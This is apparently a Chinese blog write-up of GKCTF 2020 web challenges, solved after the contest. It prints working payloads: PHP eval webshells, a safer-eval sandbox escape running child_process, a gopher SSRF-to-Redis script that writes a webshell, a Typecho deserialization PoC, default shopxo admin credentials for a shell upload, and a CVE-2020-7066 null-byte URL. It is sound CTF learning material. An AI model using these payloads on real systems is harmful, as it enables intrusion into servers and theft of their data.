GKCTF 2020(web)

菜逼只能赛后复现

CheckIN

Base64后即可rec,可以读文件,但不知道flag文件位置
在这里插入图片描述
看一下phpinfo 命令执行的函数都给ban完了
在这里插入图片描述
用蚁剑链接?Ginkgo=ZXZhbCgkX1BPU1RbY21kXSk7
在这里插入图片描述
连接成功之后根目录有readflag,和flag
在这里插入图片描述
那就是要执行readflag文件
PHP 7.0-7.3 disable_functions bypasss
直接打
改一下命令就行
在这里插入图片描述
Exp要传到/tmp 目录 别的没权限
在这里插入图片描述
页面去包含执行
在这里插入图片描述

老八小超市儿

和这个基本差不多渗透测试|shopxo后台全版本获取shell复现
打开是个商城有登录注册 搜索啥的,但还有个后台/admin.php,默认密码就能登录。
账号admin 密码shopxo
下载这个默认主题
在这里插入图片描述
挂马到default_static_ 目录,然后主题安装那上传,访问/public/static/index/default/exp.php
蚁剑连接
在这里插入图片描述
暗示要root权限
在这里插入图片描述
有个sh文件,
在这里插入图片描述
有root权限,所以里面的py脚本也以root权限执行的
在这里插入图片描述
加入这两行代码读取内容写道/flag.hint

ff = io.open("/root/flag", "rb+")
f.write(str(ff.read()))

在这里插入图片描述
sh auto.sh运行,然后/flag.hint里就有flag了

cve版签到

hint:cve-2020-7066
在这里插入图片描述 在这里插入图片描述

通过%00截断可以让get_headers()请求到错误的主机
点一下链接抓包看一下

在这里插入图片描述在这里插入图片描述
/?url=http://127.0.0.123%00www.ctfhub.com
在这里插入图片描述

EZ三剑客-EzNode

/source查看源码
在这里插入图片描述在这里插入图片描述

/version看一下版本
在这里插入图片描述
https://github.com/commenthol/safer-eval/issues/10直接用文章中的PoC

再有就是这段代码中
在这里插入图片描述
传入一个delay和原先定义的60000进行比较。大的值复制给delay
然后作为timeout的值传入,到时间进入下一个路由
但是传入的代码执行不超时6秒的话,就不能进去/eval执行沙盒逃逸
delay传入4294967296。造成settimeout设置为1.
在这里插入图片描述
Post传入
e=(function () {const process = clearImmediate.constructor(“return process;”)();return process.mainModule.require(“child_process”).execSync(“cat /flag”).toString()})()
在这里插入图片描述

EZ三剑客-EzWeb

访问?secret

在这里插入图片描述
给了ip可能是ssrf?BUU惯例。IP+1就是靶机
在这里插入图片描述
Bp爆破下端口 线程要改一下,不然429
在这里插入图片描述
在这里插入图片描述
6379是Redis默认端口

https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/
用文章里的exp 改一下ip

import urllib
protocol="gopher://"
ip="173.11.248.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

在这里插入图片描述
打上去就有webshell了
还可以用gophper-redis-auth这个工具
https://github.com/LS95/gopher-redis-auth
在这里插入图片描述
看大佬博客用的是这个,但我自己用没成功。。。。。
?url=173.11.248.11/shell.php?cmd=system(‘cat$IFS$9/flag’);show_source(’/flag’);highlight_file(’/flag’)这三种都行这里不能有空格 不然会Bad Request
在这里插入图片描述

EZ三剑客-EzTypecho

好高级的样子,安装一下试试
在这里插入图片描述

那就看看源码其实考的是typecho_反序列化漏洞
详细的审计和复现(好几个,可能内容有重复):
typecho老版本的反序列化研究
[漏洞复现]typecho_v1.0.14反序列化漏洞
typecho反序列化漏洞复现
Typecho-反序列化漏洞学习
【漏洞复现】typecho1.1反序列化漏洞

改一下命令直接打就行,finish参数这里不能用,用start
在这里插入图片描述

<?php

	class Typecho_Feed{
		private $_type;
		private $_items = array();

		public function __construct(){
			$this->_type = "RSS 2.0";
			$this->_items = array(
				array(
					"title" => "test",
					"link" => "test",
					"data" => "20190430",
					"author" => new Typecho_Request(),
				),
			);
		}
	}

	class Typecho_Request{
		private $_params = array();
		private $_filter = array();

		public function __construct(){
			$this->_params = array(
				"screenName" => "eval('system(\'cat /flag\');exit;')",
			);
			$this->_filter = array("assert");
		}
	}

	$a = new Typecho_Feed();

	$c = array(
		"adapter" => $a,
		"prefix" => "test",
	);

	echo base64_encode(serialize($c));

在这里插入图片描述
还有个session的,不过这题给ban了
在这里插入图片描述

参考:

https://www.gem-love.com/ctf/2361.html
https://guokeya.github.io/post/EWi0aHBCb/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值